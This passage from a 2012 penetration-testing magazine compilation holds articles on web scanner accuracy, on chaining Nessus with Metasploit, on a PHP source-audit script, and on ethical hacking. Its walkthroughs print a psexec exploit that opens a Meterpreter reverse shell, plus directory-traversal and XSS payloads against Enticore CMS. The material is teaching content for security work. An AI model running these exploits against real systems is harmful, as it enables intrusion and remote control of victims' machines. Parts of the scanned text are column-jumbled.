After running the scans, the following results were identified for the results (scanner independent): Web
obtained: Table 1. application stability and connection.
As it can be seen, in the lab, up to almost 84%
of existing vulnerabilities can be detected by using Web Application Stability
only one scanner. But these are the easy-to-detect Whilst running in the safe wild tests a part of one site
vulnerabilities (the low hanging fruits, as they are became unavailable, thus causing some scanners
called), leaving us to further deal with the top 16% to miss a part of the vulnerabilities. This issue was
difficult-to-detect vulnerabilities. noticed due to significant results difference between
scanners. Some scanners had an unexplainable low
In the Safe Wild Results detection rate whilst other scanners, just minutes
This test targeted all scanners and its purpose was to before, performed very well. The tests had to be
see how the scanners would behave in real working redone when all pages of the web application were
conditions and what results they will manage to pull in available (manual check).
Table 2. “In the Safe Wild” Detailed Results
Site 1 Site 2 Site 3 Site 4 Site 5 Site 6 Site 7 Detection Rate
Total vulns 29 22 8 3 4 26 27
Acunetix 21 14 6 2 2 11 12 57,1%
QualysGuard 22 7 1 2 2 5 13 43,6%
Websecurify 10 11 2 0 0 3 5 26%
ProxyStrike 6 6 4 2 2 8 8 30,2%
Netsparker C. 15 14 14 12 7 7 3 3 4 4 11 8 9 6 52,9% 45,3%
N.C. 1 2 0 0 0 3 3 7,6%
Outscan 10 9 0 2 2 5 4 26,8%

THE BEST OF 01/2012 Page 66 http://pentestmag.com

 Table 3. Scanning Results Comparison
Lab Wild Gap
Acunetix 81,6% 57,1% 24,5%
QualysGuard 58,9% 43,6% 15,3%
Websecurify 50,4% 26% 24,4%
ProxyStrike 52,9% 30,2% 22,7
Netsparker C. 86% 83,6% 52,9% 45,3% 33,1% 38,3%
N.C. 2,4% 7,6% 5,2%
Outscan - 26,8% -
Figure 2. Graphical Representation of the Results
Connection In order to confirm this assumption the Acunetix
This is another important issue which was managed to be development team was asked for help by running scans
identified with the help of Acunetix development team. Due on one of their web applications from different offices
to a significant difference between the scan results we’ve around the world, and provide us with the scan results.
had and scan results Acunetix Development Team had, Their developers managed to perform the test (using
using Acunetix WVS, the first assumption was that the AcuSensor Technology as well) from the U.S.A. Office and
scanner was being misused. After redoing the tests and the Romania – Cluj Office, and got the following results.
getting the same results, the only plausible assumption that The findings confirmed the previously made
could have been made was there might be a connection assumption on the connection dependence. This
problem, i.e. between our location (Bucharest – Romania) means that whilst only a part of the vulnerabilities can
and the web application’s server (Host, Nordrhein- be detected and fixed from Romania, thus making the
Westfalen, Germany) was an active node (Firewall, IDS, web application appear as vulnerability-free from this
IPS) which dropped a part of the packets. location, an attacker located in U.S.A. can detect nine

a d v e r t i s e m e n t

THE BEST OF 01/2012 Page 67 http://pentestmag.com

 PENTEST REGULAR

Bibliography
• Top 25 MITRE, http://cwe.mitre.org/top25/ [1]
• OWASP Top 10, https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project [2]
• Nenad Jovanovic, Christopher Kruegel, and Engin Kirda, Pixy: A static analysis tool for detecting web application
vulnerabilities (short paper) [3]
• Sumit Siddharth, Pratiksha Doshi, Five common Web application vulnerabilities [4]
• OWASP Vulnerabilities Listing, https://www.owasp.org/index.php/Category:Vulnerability [5]
• Andres Andreu, Professional Pen Testing for Web Applications [6]
• Nenad Jovanovic, Christopher Kruegel, Engin Kirda, Static analysis for detecting taint-style vulnerabilities in web
applications, Journal of Computer Security 18 (2010) 861–907 [7]
• Huang, Y.-W., Yu, F., Hang, C., Tsai, C.-H., Lee, D.-T., Kuo, S.-Y., Securing web application code by static analysis and runtime
protection. In: WWW ‘04: Proceedings of the 13th International Conference on World Wide Web (2004) [8]
• Web Application Vulnerability Scanner Evaluation Project, http://code.google.com/p/wavsep [9]

more major vulnerabilities (SQLI’s and XSS’) which
may be critical to the web application.
Conclusion
If manual crawling is not being used, the crawler’s results
have to be checked in order to see if it managed to detect
all the pages of the web application. If it fails to detect
some of the pages then it should be checked if they are
available and maybe a manual crawl should be performed
instead. Another aspect of this issue is scanning should
be performed by someone who knows the web application
and is able to notice any crawling losses (issues).
Regarding the connection issue, if possible, the
scanning could be performed from two different
locations, in order to make sure the scanner reports
the real security situation of the web application. The
scanning location can physically be anywhere in the
world, but judging by the active nodes between the web
application and scanner, their number should be as
small as possible.
In order to simply avoid these issues, all web
applications can be carefully tested “in the lab”, before
deployment, by the developers or a security team
working together with developers.
In this particular case, black-box automated testing
managed to detect up to 80% of existing vulnerabilities
(in the lab), thus making it an effective way to start
securing web applications. Depending on the complexity
of a web application and the value of the information
that needs to be protected (security budget should
also be taken into account), using this method alone
is sometimes not enough to obtain a fully-secured web
application and may have to be used alongside black-
box manual testing and white-box testing.

CRISTIAN OPINACRU
Cristian Opinacru is a lecturer at the
Romanian Military Academy, while at the
same time working for Thales Systems. He
holds a PhD degree from the University of
Figure 3. Graphical Representation of the Comparison
German Armed Forces in Munich and an
engineering degree from the Politehnica
University of Bucharest. He is the author of three books and
several research articles. His is interested in Security, Web and
Software Architecture.

Figure 4. Graphical Representation of Location Results
CRISTIAN TANCOV
Cristian Tancov is a Romanian information security auditor.
Among several diplomas, he holds an “Information security”
masters degree from Romanian Military Academy with
specialization in “Web applications security testing”. His work
is highly appreciated and is often invited to hold presentations
regarding his activity at international events.

THE BEST OF 01/2012 Page 68 http://pentestmag.com

 PENTEST EXTRA

From Footprinting to
Exploitation
In this article, you will read about penetration testing with Nessus
and Metasploit.

I
n this article I will present an overview of Nessus 4.4.
I will describe installation and usage of it, and how
to perform penetration tests by combining Nessus
with Metasploit. Nessus is a proprietary vulnerability
scanning program. It was first developed in 1998 as a
freeware security scanner by Renaud Deraison. Nessus
quickly become one of the most popular network
security scanners. Today, it still is free for personal use,
but commercial users must pay a fee.
Installation
Installation process takes a while, because Nessus
downloads all the plugins from its server. Nessus
runs as a web based application with a single system
service under Windows. After the installation we need to
register at Tenable website to obtain the activation code

Features
Nessus is based on a client/server architecture. It lets
users run the administrative panel, which executes
vulnerability scans and holds databases on a machine
other than the server. Client front ends are available
for Java, Win32, and X11. This makes Nessus a
cross-platform tool that can scan Linux, Windows, and
Unix hosts. Nessus provides an astonishing quantity
of customized tests called plugins. Those plugins
scan and report for over 34,000 vulnerabilities. This
includes scanning for vulnerabilities in routers, CGI
scripts, buffer overruns, remote-access connections,
back doors, RPC, and SNMP. Nessus offers a wealth
of configuration and scanning options, though some
users might find them overwhelming. An administrator
may need to devote a significant amount of time
learning the intricacies of the application to use it most
effectively. Figure 1. Nessus Server Manager

THE BEST OF 01/2012 Page 70 http://pentestmag.com

Figure 2. Nessus log-in screen
for Nessus. Before launching the client application it is
advised to check out the settings in the Nessus Server
Manager. We can add users with different privileges
there, set up update options etc. (Figure 1).
After starting the client application, Nessus opens in
the default web browser and we can now log in with our
created user (Figure 2).
Usage of Nessus
Once a user is logged in, they can navigate the easy to
use interface to create policies, run scans, view reports
and manage users. Policies are the key part of Nessus.
The Policy specifies what and how to scan. After typing a
name for a policy, you decide which credentials the policy
should use to connect to your target machines. You also
use the policy to set up groupings of vulnerability tests to
run. For example, you may have a policy that only targets
Web server vulnerabilities and one policy that targets
databases. Policies are easy to setup, but offer several
options for customizing performance.
On the first screen of policies there are general
options such as methods for port scanning, port range
etc. (Figure 3).
The second bookmark is Credentials. You can
select and enter different credential types there, such
as Windows credentials, SSH settings, Kerberos
configuration and Cleartext protocol settings. By
configuring credentials, it allows Nessus to perform
a wider variety of checks that result in more accurate
scan results. However the most important bookmark is
Plugins. You can select which vulnerabilities you want
to check in this policy. Here you can enable or disable
Figure 3. General options for creating a policy
THE BEST OF 01/2012 Page 71
Figure 4. Plugin selection during policy creation
the whole families of plugins and single ones as well
(Figure 4).
Each plugin has a description which contains of
synopsis, description and solution.
The last tab is Preferences, which includes means
for granular control over scan settings. Selecting an
item from the drop-down menu will display further
configuration items for the selected category. Note
that this is a dynamic list of configuration options that
is dependent on the plugin feed, audit policies and
additional functionality that the connected Nessus
scanner has access to.
After creating a policy, users can initiate a scan. To set
up a scan we just need to input scan name, type scan
type where we choose between Run Now (immediately
execute the scan after submitting), Scheduled (choose
the time the scan should begin) or Template (save as a
template for repeat scanning). Next step is to choose
the previously created policy that the scan will use to
set parameters controlling Nessus server scanning
behaviour. The last step is to set up the scan targets. We
can enter there a single IP address (e.g., 192.168.0.1),
IP range (e.g., 192.168.0.1-192.168.0.255), subnet with
CIDR notation (e.g., 192.168.0.0/24) or resolvable host
(e.g., www.nessus.org). We can also load a text file with
list of hosts (Figure 5).
After launching the scan we have to wait for some
time depending on the amount of plugins and options
we have chosen in our policy. Once a scan is complete,
Figure 5. Setting-up a scan
http://pentestmag.com
 PENTEST EXTRA
which provides information about security vulnerabilities
and aids in penetration testing and IDS signature
development. This tool enables developing and executing
exploit code against a remote target machine.
To use it with Nessus, first we should create a user
for Metasploit. Let us name him msf with password
metasploit. Then we should log in with this user to
Nessus and create a policy, preferably with all the plugins
enabled. I have named mine policy. Next step is to set

Listing 1. Connecting to Metasploit database

Figure 6. List of vulnerabilities found by Nessus
we can view detailed information on vulnerabilities
found. In reports tab we can view results of all previous
scans. Each report allows us to easily see a top level
view of all machines scanned with the number of high,
medium and low vulnerabilities (Figure 6).
There is also an option for filtering the vulnerabilities,
for example by plugins, hosts and ports. We can then
double click on a host to drill into specific details on
the vulnerabilities which come with a multitude of
suggestions, explaining the nature of the problem
and listing fixes. Links to the Common Vulnerabilities
and Exposures (CVE) dictionary (www.cve.mitre.org),
which lists known vulnerabilities, and Microsoft TechNet
(www.microsoft.com/technet), an online security resource
for IT administrators, are also provided, offering
administrators further access to information resources
and existing patches (Figure 7). It is also possible to
download a report in RTF or HTML file.
msf > db_driver postgresql
msf > db_connect postgres:postgres user
password@127.0.0.1/metasploit
Listing 2. Loading Nessus Bridge plugin to Metasploit
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
Listing 3. Connecting to Nessus from Metasploit
msf > nessus_connect msf:metasploit@127.0.0.1:8834
ok
[*] Connecting to https://127.0.0.1:8834/ as msf
[*] Authenticated
Listing 4. Checking Nessus policies in Metasploit

Penetration tests in Nessus msf > nessus_policy_list

Nessus can be used in any type of penetration – Black Box [+] Nessus Policy List
Test, white Box testing or even a gray boxing. So let us try
to perform a penetration test in Nessus. On the Internet we ID Name Comments
can find some tutorials how to integrate Nessus with Nmap, -- ---- --------
Hydra, Nikto and how to use it on BackTrack5. However in -5 Test policy
my opinion the best way to perform penetration tests with -4 Web App Tests
Nessus is by combining it with Metasploit. -3 Prepare for PCI DSS audits
Metasploit Framework is a part of The Metasploit -2 Internal Network Scan
Project – an open-source computer security project -1 External Network Scan
1 policy

Listing 5. Running a Nessus scan in Metasploit

msf > nessus_scan_new 1 policy 192.168.1.102

[*] Creating scan from policy number 1, called
"policy" and scanning
192.168.1.102
[*] Scan started. uid is d3b1bd0f-3f19-a37d-7f26-
3a21a6f0ff4fc5ea2af0a6d9e7c2

Figure 7. Vulnerability description

THE BEST OF 01/2012 Page 72 http://pentestmag.com

up the Metasploit database. Of course we need to install
PostgreSQL first. After opening the console we need to
connect to the Metasploit database by loading postgresql
driver and connecting to the database with postgres
username and password. We can achieve that by the
executing the following commands: see Listing 1.
To use Nessus with Metasploit we need to load
Nessus Bridge plugin: see Listing 2.
Than we need to connect to Nessus using our created
user msf, we can do that by typing: see Listing 3.
Now we are connected to Nessus. Next step is to run
the scan, so at first we look at our policies: (Listing 4).
We select our created policy and then start the scan
by typing: (Listing 5).
Where 1 is the number of our policy, policy is its name
and IP address is the address (or range of addresses)

Listing 6. Checking the scan status

msf > nessus_scan_status

[+] Running Scans

Scan ID Name Owner Started

Status Current Hosts Total Hosts
------- ---- ----- -------
------ ------------- -----------
d3b1bd0f-3f19-a37d-7f26-3a21a6f0ff4fc5ea2af0a6d9e7c2 policy msf 12:16 Aug 17 2011 running 0
1

Listing 7. Obtaining report list from Nessus in Metasploit

msf > nessus_report_list

ID Name Status Date

-- ---- ------ ----
5634be05-cd10-5792-ae81-7143733b4010cf75dddc6f4f120f policy completed 21:16 Aug 16 2011
d3b1bd0f-3f19-a37d-7f26-3a21a6f0ff4fc5ea2af0a6d9e7c2 policy completed 12:16 Aug 17 2011

Listing 8. Obtaining report from Nessus in Metasploit

msf > nessus_report_get d3b1bd0f-3f19-a37d-7f26-3a21a6f0ff4fc5ea2af0a6d9e7c2

[*] importing d3b1bd0f-3f19-a37d-7f26-3a21a6f0ff4fc5ea2af0a6d9e7c2
[*] 192.168.1.102 Windows 7 Home Done!
[+] Done

Listing 9. Viewing the vulnerabilities found by Nessus

msf > vulns

[*] Time: 2011-08-17 19:26:19 UTC Vuln: host=192.168.1.102 port=139 proto=tcp name=Microsoft Windows SMB Service
Detection refs=NSS-11011
[*] Time: 2011-08-17 19:26:18 UTC Vuln: host=192.168.1.102 port=135 proto=tcp name=DCE Services Enumeration
refs=NSS-10736
.
.
.
[*] Time: 2011-08-17 19:26:19 UTC Vuln: host=192.168.1.102 port=445 proto=tcp na
me=Microsoft Windows SMB Log In Possible refs=CVE-2002-1117,BID-494,CVE-1999-050
4,CVE-1999-0505,CVE-1999-0506,CVE-2000-0222,CVE-2005-3595,BID-990,BID-11199,OSVD
B-297,OSVDB-3106,OSVDB-8230,OSVDB-10050,MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394

THE BEST OF 01/2012 Page 73 http://pentestmag.com

 PENTEST EXTRA
Listing 10. Searching for exploits

msf > search exploits Microsoft Windows Authenticated User Code Execution

exploit/windows/smb/ms04_007_killbill 2004-02-10 low Microsoft

ASN.1 Library Bitstring Heap Overflow
exploit/windows/smb/smb_relay 2001-03-31 excellent Microsoft
Windows SMB Relay Code Execution
.
.
.
exploit/windows/smb/timbuktu_plughntcommand_bof 2009-06-25 great Timbuktu
<= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow

Listing 11. Using the chosen exploit to check the vulnerability

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set RHOST 192.168.1.102
RHOST => 192.168.1.102
msf exploit(psexec) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

smbuser => name of user

msf exploit(psexec) > set smbpass password of user
smbpass => password of user
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.1.102:4444
[*] Connecting to the server...
[*] Authenticating as user 'name of user'...
[*] Uploading payload...
[*] Created \waLRflKs.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.101[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.101[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LEHfUmhS – "MxiyDeHViboMJBtKA")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \waLRflKs.exe...
[*] Sending stage (748032 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.101:1201) at Wed Aug 17 13:12:57 2011
meterpreter >

THE BEST OF 01/2012 Page 74 http://pentestmag.com

that we want to scan. We can check the scan status by
typing: Listing 5.
After the scan is finished we want to see the report. To
do that we must get its id: see Listing 7.
Now we must select the report we want to view using
its id: see Listing 8.
The report is loaded so now we can see the
vulnerabilities that Nessus has found: see Listing 9.
We can browse those vulnerabilities and after we
found one that looks like a threat we can exploit it.
To do that we simply search the exploit list using that
vulnerability name: see Listing 10.
We will get a huge list of exploits, showing their
name, date, rank and description. Now we can select
one of them that we think is the best for exploiting this
vulnerability and set its parameters: see Listing 11.
We have successfully run the exploit. The commands
shown above set the target to be attacked host
(RHOST) and the host to call back to once the target
system has been exploited (LHOST). We have used
meterpreter reverse tcp tunnel and entered the smb
user and password. Exploitation here was simple
– the payload was uploaded as the random-named
executable waLRflKs.exe which was then run and the
rest of the initialization job was accounted for. In the end
we have entered a meterpreter-shell and now we can
get all sorts of information about the system.
a d v e r t
������������������������������������������������
���������������������������������
���������������������������������������������������������
������������������������������������������������������
Conclusion
The Nessus bridge for Metasploit is a great user
community project that has allowed Nessus to
integrate with other popular security tools. You could
even automate the above process using a script that
would launch Nessus, run a scan, and exploit the
remotely exploitable vulnerabilities. After working for
some time with Nessus I must say it is a very good
tool and I recommend it to everyone. Nessus is very
easy to use and provides the tester with all necessary
tools to perform sophisticated network analysis. With
addition of Nmap and Metasploit Framework it creates
a complete range of tools to analyze the network and
find vulnerable areas in it.
PIOTR CHYNAŁ
Piotr Chynał – PhD student at the
Wroclaw University of Technology, on
Computer Science and Management
Faculty. He specialises in Human-
Computer interaction. His knowledge
and experience in network security
comes from various lectures at the university and from
working in one of the largest polish construction company as
an IT/security specialist.
i s e m e n t
���������������������
����������������
����������������
�������������
����������������
����������������������
 PENTEST EXTRA

Web Application
Security
Source Code Testing
In this short article we’ll learn how to check whether the web
application is vulnerable to Internet attacks. “Why should I test the
software on my own?” The need is obvious if we use open source
software. For example, our company is engaged in IT outsourcing.

B
y using our web site, managers can send us read this documents, you should really do it. It will helps
their documents and resume. In our web page, you to get more knowledge about insecurity in web
we have installed and configured some kind of applications.
popular CMS (Content Management System).
But what will be in the situation when we do not test What do we need?
our CMS for security vulnerabilities? What if someone Beside of knowing OWASP’s documents, good
else will do this? The answer is: someone will know point here is to buy (or find at Google ;)) this book:
where in our version is vulnerability – we will not. Just
imagine then, how we present the image of confidential
of our company? Let’s say this person who check
software for security bugs is a bad hacker working for
some competitive firm (IT outsourcing too). Can they
grab all our resumes or not?

OWASP TOP 10
Basically OWASP Testing Guide 3 said: The most
common web application security weakness is the
failure to properly validate input coming from the client
or environment before using it. This weakness leads to
almost all of the major vulnerabilities in web applications, Figure 1. knewme3.py help
such as cross site scripting (XSS), SQL injection,
interpreter injection, locale/Unicode attacks, file system
attacks, and buffer overflows.
We can find a lot of interesting documents about
web application security, exploitation and method
of prevention at OWASP’s site. One of them is
OWASP TOP 10 (this one and others you can find at
www.owasp.org). If You don’t know this site and don’t Figure 2. Enticore CMS available at http:// sourceforge.net

THE BEST OF 01/2012 Page 76 http://pentestmag.com

Programmer’s Ultimate Security
DeskRef: Your programming
security encyclopedia. In this
book You’ll find almost all of
vulnerable functions in various
types of languages (and of course
for PHP, what we need right now).
For our test we will use Ubuntu
10.04, Apache 2.2.6 and PHP Figure 3. knewme3.py and log �le

Listing 1. knewme3.py - Source code of our simple scanner (part 1)

# --------------------------------------------------- print "\t-----------------------------"

# knewme.py @ 2o11 - v3 print "try this way:"
# --------------------------------------------------- print "\t-d /dir/where/you/wanna/find/phps"
# This is a sample 'dirty hack' for php src audit. print "\t-f /dir/where/is/your/file.php"
# print "\t-h thats me!"
# dated : print "\n[~] try again ;)"
# xx.o9.2o11 + ...?
# elif o in ("-d","--dir"):
.o9.2o11 + php files 'founded' path = sys.argv[2] +"*.php" # updated by glob()
# 27.o9.2o11 + output.html .o9 to find .phps
# + project started logfile = open('dir_check.log','w')
#---------------------------------------------------- for stri in glob.glob(path):
# run: python knewme.py /dir/with/files/in/php/ log = logfile.write(stri) # ---| these 2 lines
# hf o/ log to file $logfile
# log = logfile.write("\n") # ---|
logfile.close()
import sys # arg print ("[+] List of php files founded at "+path+"
import glob # list files end elemIT are noted in [dir_check.log]")
import getopt # opts implementation
# -------------------------------------------------- sys.exit()
# argvs elif o in ("-f","--file"):
try: path = sys.argv[2] # = argv[1]
opts, args = getopt.getopt(sys.argv[1:], "hdf:v", filek = open(path, 'r') # read mode
["help","dir=","file="]) stri = filek.readlines() #
except getopt.GetoptError, err: filek.close() # close the file (its already 'readed'
print str(err)
print "Ups... ;C Try with -h;)" print " <html><head><title> KnewMe Project @ 2011
sys.exit(2) - This is Your Rerport</title></head>"
print " <body><br>"
verbose = False print " <center><b><h1> KnewMe Project @ 2011
for o, a in opts: <br></b><center></h1>"
if o == "-v": print "<b><p align=\"left\"><br>[+] Now checking
verbose = True file: ", filek.name
elif o in ("-h","--help"): print "</b>"
print ""
vulnlist = open('vuln.php_list','r')
Listing 2. knewme3.py - Source code of our simple scanner (part for vulnline in vulnlist:
2)
print "\t-----------------------------"
print "\t[<>] knewme.py @ 2o11.v3 [<>]"

THE BEST OF 01/2012 Page 77 http://pentestmag.com

 PENTEST EXTRA
with display_errors = On in php.ini (which is of course a Also for our tests we will need Python 2.6, so if You
security breach, but for our tests we must know, where have not installed it yet, do it now.
we can find a bug, so that’s why we set it up for On).
First things first
Adventure of source code testing
starts now! When You open your
favorite editor, paste there code
Figure 4. Vulnerable $dir parameter
presented at “Listing 1-3”. So
Your new tool should look like this:
Listing 1.
I am the author of this tool
so feel free to use it, rewrite it,
and develop. As You can see at
above 3 screens, we have a nice
tool coded in python to check if
in argv[1] file is any of functions
vulnerable to attack. Open Your
favorite editor again and put there
Figure 5. Vulnerable $dir parameter – source code this list (remember to put one

Listing 3. knewme3.py - Source code of our simple scanner (part 3)

print ("<b><p align=\"left\">[+] Possible vulnerable

function name is : <font color=\"red\"> "+vulnline+" </font> </p></b>")

i=1
v = vulnline.strip()
for line in stri: # for $line.find(?) in str=filedsk
if line.find(v) != -1:
print ""
print " <table border=\"1\">"
print " <tr bgcolor=\"teal\">"
print " <th>line</td><td>check this</th>"
print " </tr><tr bgcolor=\"white\">"
print (" <td> %d </td><td> %s </td>") % (i,line)
print "<br>"
print " </tr>"
print " </table>"
print "</body></html>"
i+=1
# ----------------------------------------------------------- end of for...

print "<b>---------------[ END of this test HERE ] ---------------</b>"

# --------------------------------------------------------------------end of for...

print ""
print "[+] vulnerable function list : vuln.php_list"
print ""
# -- end of last elif
else :
assert False, "unhandled option"

THE BEST OF 01/2012 Page 78 http://pentestmag.com

 developing knewme3.py I have
downloaded Enticore CMS (available
at http://sourceforge.net).
When You get it on Your localhost,
install it at your webroot directory,
setup users and so on. Now its time
to run knewme3.py for this CMS.
Lets try to check where are PHP files
located: Figure 3.
As we can see, knewme3.py
started with -d catalog option found
some PHP files and log their locations
to dir_check.log. Nice. Checking other
catalogs gives us this file: ./include/
plugin/EnticorePluginUpload.php. Is it
really interesting? Lets find out! Type
in Your console:

python knewme3.py -f /var/www/enticore-

Figure 6. Exploited vulnerability
0.8/include/plugin/
EnticorePluginUpload.php > ourlog.html

And now lets check what’s in

ourlog.html: Figure 4.
Ok. So now we must check where
in this file is this $dir parameter, and
how its working: Figure 5.
Vulnerability exist in lines started
at number 65. Like we see, there is
Figure 7. Enjoy http://securityreason.com
no validation of this GET request.
function name per line): basename, bzread, chmod,
chown, chroot, dirname, eval, exec, fgetsfile, fopen,
fread, fscanf, fsockopen, getallheaders, getenv, gzfile,
gzget*, gzopen, gzread,, Highlight_file, is_*, leak, link,
lstat, mkdir, opendir, passthru, popen, posix_*, readfile,
rename, rmdir, show_source, stat, symlink, system,
unlink. As You can see at source code of knewme3.py,
save this list to vuln.php_list file (it will be some kind of
our dictionary). So in our Ubuntu-lab we have 2 files
now: knewme3.py and vuln.php_list. Run python script
as showed Figure 1.
Ok. So now we know how to check if CMS available at
ours company’s page can be vulnerable to PHP attacks.
(Good thing to remember: by using knewme3.py we can
show some potential vulnerabilities of CMS/webapp.
Looking at configuration files of PHP or Apache or
whatever else is on WWW server, there could be more
holes – for example indexing, or clear text files with
database passwords (like .inc files).)

Run tests for Your web application

Good example how this script is really working is to
download some CMS to our localhost. While I was Figure 8. “$site” parameter

THE BEST OF 01/2012 Page 79 http://pentestmag.com

 PENTEST EXTRA
www.owasp.org/index.php/Cross-
site_Scripting_%28XSS%29) and
could be very dangerous.
For a simple homework I’ll give
You source code of this simple
python script (knewme3.py), so
have a nice vulnerability scanning!

Any defense?
Think. It is Your power. Try to
understand that attackers can
place payload for LFI/RFI/XSS/
Figure 9. Successful XSS attack
SQL injection, and so much other
types of web attack in any of
Nice to know your input field. So validate them
• http://owasp.org and be careful. If You miss some
• http://securityreason.com parameters or form field, someone
• http://sourceforge.net
• http://google.com won’t do it, be cause like they say:
A chain is only as strong as its
weakest link.
So maybe we should check if there is an option to
put $dir, to somewhere else than ‘ ’. Log in to web
application to do this test (this vulnerability exist for
logged only users).
For this test let’s use simple directory traversal
attack: ../../../../../../../../../../../../../../. If
vulnerability really exist we should see a root directory
listing (/).
It looks like we have found a security vulnerability in
source code! This kind of vulnerability is described as a
Directory Traversal Attack (http://en.wikipedia.org/wiki/
Directory_traversal_attack).
Lets try another one parameter founded by
knewme3.py. For this test quite interesting is $site
parameter. For this one we don’t have to be logged in.
Like we see in source code and html output log from
script, we have few if()’s for $site parameter.
But wait for a moment. Let’s look at this little closer:
we have if 1, else if 2, else if 3, and so on, but what if
we put to $site some text that is not coded to if/else
behavior in PHP application?
To check it, just go visit Your http://192.168.1.4/
enticore-0.8/index.php\ ?plugin=EnticorePluginUpload&site
=SOME%20RANDOM%20TEXT&dir=yo.
Like You will see there is an error for not coded to if/
else behavior’. This error gives us exactly this text, that
we’ve put in URL. Ok, so if there is PHP code working
like an echo for value putted to $site, we are going JAKUB GAŁCZYK
to check next thing. Will this application echo back Jakub is working for goverment, banks, and �nancial
<script>alert(123)</script>? companies as an independent IT Security consultant.
Sure it will be! And once again be cause of no proper Free time he is spending at writing tools and exploits for next
validation there is another hole in this CMS. This projects.
one is described as an Cross Site Scripting (https:// jakub.galczyk@gmail.com, http://hauntit.blogspot.com

THE BEST OF 01/2012 Page 80 http://pentestmag.com

Page
 PENTEST EXTRA

The Benefits of Ethical

Hacking
The wide growth of the Internet has brought good things to the
modern societies such as easy access to online stores, electronic
commerce, emails, and new avenues of information distribution
and advertising. As with most technological advances, there is
always a dark side: the criminal hackers where they represent a
threat to these information avenues.

D
espite the fact that companies, governments,
and individuals around the world are anxious to
be a part of such revolution, there are always
a fear of hackers who will break into their web servers
and steal their data and sensitive information. With
these concerns and others, the ethical hacker can help
eliminate such fear, and introduce different solutions to
these problems.
Introduction
With the fast growth of the Internet technologies,
computer security has become a major concern for
governments and business where the possibility of being
hacked is proportional to the security implemented in
their infrastructure. In addition to the above concern, the
potential customers of the services provided by these
entities are worried about maintaining control of their
personal information that can vary from social security
numbers, to credit card numbers to home addresses.
In an effort to find a proper approach to the problem,
organizations came to realize that on of the best solution
to the problem is to evaluate the intruder threat where
computer security professionals can be hired to attempt
to break into their computer systems. Such approach
is similar to having independent auditors to verify an
organization’s bookkeeping records. With the same
concept, professional security team We call them ethical
hackers will employ the same tools and techniques
used by intruders to investigate the security gaps, and
vulnerabilities without damaging the target systems or
steal information. Once such process is complete, the
security team will report back to the owners with the
vulnerabilities they found and instructions on how to
eliminate such security gaps.
What is Ethical Hacking do?
Professional ethical hackers possess a variety of
skills and must be completely trustworthy since while
testing the client’s systems security they may discover
information about their clients that should remain
secrets. The publication of such information could lead
to real intruders to break into the clients’ systems and in
most cases lead to financial losses. Ethical hackers must
be trusted to exercise tight control over any information
that might be a target of misused by intruders. Due to
the sensitivity of the information gathered during the
evaluation of the vulnerable systems, strong measures
are required to be taken into considerations to ensure
that the security of the systems being employed by the
ethical hackers are intact. During the evaluation of a
system’s security, the ethical hackers seek the answers
to some of the following questions:
• What can an intruder see on the target systems?
• What can an intruder do with the information
captured?

THE BEST OF 01/2012 Page 82 http://pentestmag.com

• What is organization trying to protect?
• How much effort, time, and money are an
organization is willing to expend to obtain adequate
protection?
Once the answers to the above questioned were
determined, a security evaluation plan is drawn up by
the ethical hackers where it can identify the system
to be tested, how such systems will be tested, and
determining any limitations implemented in the testing
plan.
In a society so dependent on computers and networks,
breaking through somebody’s systems is considered
anti-social behaviours, and as such organizations
and business investing the best they can to have the
best security in place to protect their interests and
their information. However, with the best security and
best security policy in place, a break-in still occurs by
determined hackers. The only solution for organizations
and businesses to avoid such problem could lie in the
form of ethical hackers where such group get paid to hack
into supposedly secure networks and expose flaws.
It is important to point out that unlike security
consultants where they carry out specific tests to check
out vulnerabilities, the hacking done by an ethical hacker
is real test to such security vulnerabilities through similar
deployment of tools and attacks used by intruders.
No matter how layered and extensive the security
architecture is constructed within any organization’s
infrastructure, the potential for external intrusion still
unknown until its defences are realistically tested.
Despite the fact that most organizations usually hire
security specialists to protect their domains, the fact
remains that security breaches happen due to the lack
of knowledge about the organization’s systems, and
its potential vulnerabilities. The solution to solve such
vulnerabilities is for organizations to hire ethical hackers
where they can test and determine such vulnerabilities
through different ways of breaking into the systems and
presenting the right solutions for such organizations to
eliminate the existing security gaps within their security
infrastructure.
Ethical Hacking – Penetration Test
Penetration testing (also called pen testing) is the practice
of testing web applications, computer systems, and
network to find vulnerabilities that any intruder may exploit.
Such test can be automated with software applications or
can be performed manually. In either way, the process
encompasses gathering information about the target
system, identifying possible entry points, attempting to
break in (either for real or virtual) and reporting back such
findings to the client. The main objective of penetration
THE BEST OF 01/2012 Page 83
testing is to determine security weaknesses, and also
testing how an organization’s security policy compliant
with standard security guidelines.
Some clients insist that as soon as the ethical hackers
gain access to their network or to one of their systems,
the evaluation should halt, and the client should be
notified. Such short of ruling should be discouraged
since it prevents the client from learning more about
what ethical hackers might discover more about their
systems vulnerabilities, and other issues that might
harm their systems. The timing of such evaluation also
might be important to the client where the client may
request that such test be conducted within specific hours
to avoid affecting networks, and systems during regular
working hours. While such request and restriction might
not be recommended it represents a certain percentage
of accuracy since most intruders do attack outside of
the local regular working hours. However, attacks done
during regulate working hours may be easily hidden
since most of the alerts from intrusion detection system
may even be disabled or less carefully monitored during
the working hours of the day.
Organizations and companies should allow enough
time for the penetration test to be done properly
since last minute evaluations are of little use, and the
implementation of corrections for discovered security
problems might take more time than is available, and
may introduce new system problems. In order for the
client to receive a valid evaluation, the client must be
cautioned to limit prior knowledge of the test as much
as possible for ethical hacker to run a real live test.
Having such knowledge known to the organization’s
employees will make the hacking process unreal since
client’s employee will be running ahead of the ethical
hackers locking doors and windows. Having a limited
number of people at the target organization who know
